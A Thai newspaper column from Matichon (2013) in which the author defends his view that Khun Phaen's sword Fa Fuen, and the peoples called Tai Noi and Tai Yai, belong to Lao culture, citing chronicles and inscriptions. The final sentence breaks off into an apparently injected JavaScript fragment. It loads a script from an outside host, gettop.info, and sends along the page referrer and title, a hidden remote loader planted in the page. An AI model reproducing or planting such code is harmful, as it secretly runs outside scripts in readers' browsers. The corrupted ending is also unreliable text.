มติชนรายวัน ฉบับประจำวันศุกร์ที่ 6 กันยายน 2556

 

          ดาบฟ้าฟื้นของขุนแผนเป็นสัญลักษณ์ของอำนาจทางการเมืองในวัฒนธรรมลาว

          ชื่อฟ้าฟื้น มาจากชื่อปู่ฟ้าฟื้นในตำนานผีบรรพชนเจ้านายเมืองน่าน (มีในจารึกปู่สบถหลาน หรือจารึกหลักที่ 45)

          ข้อความสรุปมานี้ผมเขียนไว้ในมติชนสุดสัปดาห์ (ฉบับก่อน) แต่มีผู้ไม่ถูกใจ แล้วไม่เห็นด้วย โดยเฉพาะอย่างยิ่งประเด็นที่ว่าอะไรๆก็ลาว

          “แถมไม่พอ บวชสองฝั่งของเป็นลาวหมด [โตโหลง(ไทใหญ่)สงสัยก็เป็นลาวแน่ๆ—ถึงโน่น คนชาติพันธุ์ไต/ไท (Tai) สาแหรกต่างๆในยูนนาน 12 ปันนา ก็ต้องเป็นลาวหมดแน่ๆ อิอิ] ฟ้าฟื้นของเมืองน่าน ถึงเป็นลาวไปซะ อิอิ” ผู้มีนาม นวลใจ ไตหลวง ขึ้นข้อความบนเฟซบุ๊ก แสดงความไม่พอใจเรื่องดาบ“ฟ้าฟื้น”

          ขอความกรุณาเข้าใจด้วยว่าผมไม่ได้บังคับหลักฐานให้เป็นลาว แต่หลักฐานและร่องรอยต่างๆยืนยันตัวเองบอกไว้ ว่าสำนึกของคนพวกหนึ่งซึ่งมีไม่น้อยอยู่สองฝั่งโขงตอนบนๆ ว่าตนเป็นลาวสืบจากบรรพชนลาวเก่าจากแถน, เมืองแถน ดังนี้

          “พระยาผีแถน จักให้ท้าวขุนบรมลงมาเกิดในเมืองลาวเก่าเฮานี้ก่อนแล” มีอยู่ในนิทานเรื่องขุนบรม พงศาวดารเมืองล้านช้าง (พิมพ์รวมอยู่ในพงศาวดารฉบับกาญจนาภิเษก เล่ม 9 หน้า 142)

          ขุนบรม อยู่“เมืองลาวเก่า” ที่เมืองแถน (ปัจจุบันเวียดนามเรียกเดียนเบียนฟู) มีลูกชาย 7 คน

          ขุนลอ เป็นลูกชายคนโต ต่อมาขุนบรมให้ไปครองเมืองชวา (หลวงพระบาง) ที่มีเครือข่ายความสัมพันธ์แบบเครือญาติ“ลาวคือกัน”ถึงเมืองน่าน

          ความเป็นลาว หรือความเป็นวัฒนธรรมลาว ยกย่องแถนเป็นผีบรรพชน มีขอบเขตกว้างขวางอยู่ตอนบนของสองฝั่งโขง(ของ) ถึงสองฝั่งสาละวิน (ลาวเรียกน้ำคง ชื่อใกล้เคียงน้ำของ)

          มีร่องรอยหลักฐานจากชื่อกลุ่มชนที่คนสองฝั่งเจ้าพระยา (ซึ่งเป็นไทยสยาม) เรียกคนในวัฒนธรรมลาวที่อยู่ข้างบนว่า ไทยน้อย, ไทยใหญ่ ผมเคยรวบรวมหลักฐานที่ผู้รู้ทั้งหลายเขียนไว้ แล้วเรียบเรียงแบ่งปันทั้งในหนังสือต่างๆ และขึ้นเว็บไซต์นานแล้ว จะสรุปมาอีกทีก็ได้ ดังต่อไปนี้         

          ไทยน้อย เป็นชื่อที่คนในพระนครศรีอยุธยา ราวเรือน พ.ศ. 2000 ผูกขึ้นเรียกพวกลาว หรือชาติพันธุ์ในวัฒนธรรมลาวบริเวณสองฝั่งโขง ทั้งฝั่งขวา (คือบริเวณอีสานในประเทศไทยทุกวันนี้) และฝั่งซ้าย (คือดินแดนลาวปัจจุบัน ต่อเนื่องไปทางทิศตะวันออกถึงกลุ่มชาติพันธุ์พูดตระกูลไทย-ลาว ลุ่มน้ำดำ-แดง (ในเวียดนาม), กวางสี-กวางตุ้ง (ในจีน))

          ต่อมาถูกเรียกสมัยหลังว่า ลาวพุงขาว เพราะไม่สักลายตามตัวเหมือนพวกไทยใหญ่ คนพวกนี้ออกเสียงตรงตามรูปอักษร คือ ท เป็น ท และ พ เป็น พ

          ไทยใหญ่ เป็นชื่อที่คนในพระนครศรีอยุธยา ราวเรือน พ.ศ. 2000 ผูกขึ้นเรียกพวกลาว บริเวณลุ่มน้ำสาละวินตอนเหนือ (ในพม่า) ต่อเนื่องถึงลุ่มน้ำพรหมบุตร (ในอัสสัมของอินเดีย)

          ต่อมาถูกเรียกสมัยหลังว่า ลาวพุงดำ เพราะสักลายด้วยหมึกสีคล้ำตามตัวตั้งแต่บั้นเอวลงไปถึงแข้ง (ขา) คนพวกนี้ออกเสียง ท เป็น ต และ พ เป็น ป

          ลาว แปลว่า คน แต่ไม่ใช่คนทั่วๆไป หากหมายถึงคนเป็นนาย, คนเป็นหัวหน้า ที่ได้รับยกย่องว่ามีฐานะทางสังคมสูงกว่า, ดีกว่า, เหนือกว่าคนอื่น เช่น ลาวจก หมายถึง ผู้เป็นใหญ่มีจอบ

          จอบเป็นเครื่องมือขุดดิน ทำด้วยเหล็ก นับเป็นเทคโนโลยีสูง และก้าวหน้ามากเมื่อ 2,500 ปีมาแล้ว คนทั่วไปไม่มีจอบเป็นของตนเอง ต้องระดับหัวหน้าเผ่าพันธุ์เท่านั้นจึงมีได้) เป็นชื่อเรียกพระราชาบรรพชนของล้านนายุคแรกเริ่ม อยู่บริเวณดอยตุงใน จ. เชียงราย

          ลาวในชื่อลาวจก เทียบเท่าคำว่าขุนในรัฐภาคกลาง (เช่น สุโขทัย) หมายถึง  กษัตริย์, พระราชา

          จะเห็นชัดเจนแล้วว่าผมไม่ได้มีพลังอำนาจไปจับบวชหรือเหมาเอาว่าอะไรๆก็เป็นลาว แต่ทั้งหมดมีทั้งร่องรอยและหลักฐาน ว่าทั้งเรียกตัวเองเป็นลาว และถูกเรียกเป็นลาวนับร้อยๆปีมาแล้ว

          เจ้าดารารัศมี (ธิดาเจ้านายเมืองเชียงใหม่ สมัย ร.5) ลงมาอยู่กรุงเทพฯ นุ่งซิ่น เพื่อยืนยันว่าตนเป็นลาว จึงไม่ยอมนุ่งโจงกระเบนเหมือนเจ้านายอื่นๆ

          เรื่องไทยๆ หนีไม่พ้นลาวๆ ผมจึงต้องเขียนเรื่องลาวๆ ไทยๆ บ่อยมาก ซ้ำแล้วซ้ำอีกเหมือน“ขายของเก่า” เพื่อชี้แจงและแบ่งปันสม่ำเสมอ เพราะเป็นกรณีคาใจ ไม่สะดวกใจ ของคนที่คิดเองว่าเป็นไทยทั้งดุ้น แล้วทนไม่ได้ที่จะรับความเป็นไทยมาจากลาว (รวมถึงเขมร, มอญ, แขก, ฯลฯ)

          มีนักวิชาการบางคนนินทาว่าผม“ขายของเก่า” เรื่องคนไทยหลายเผ่าพันธุ์ คงเข้าใจยากมากๆว่าทำไมต้อง“ขายของเก่า”? ถ้าพวกเขาขาดสำนึกแบ่งปันสม่ำเสมอเพื่อคนอื่น ซึ่งต้องทำทั้งชีวิตจิตใจ}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;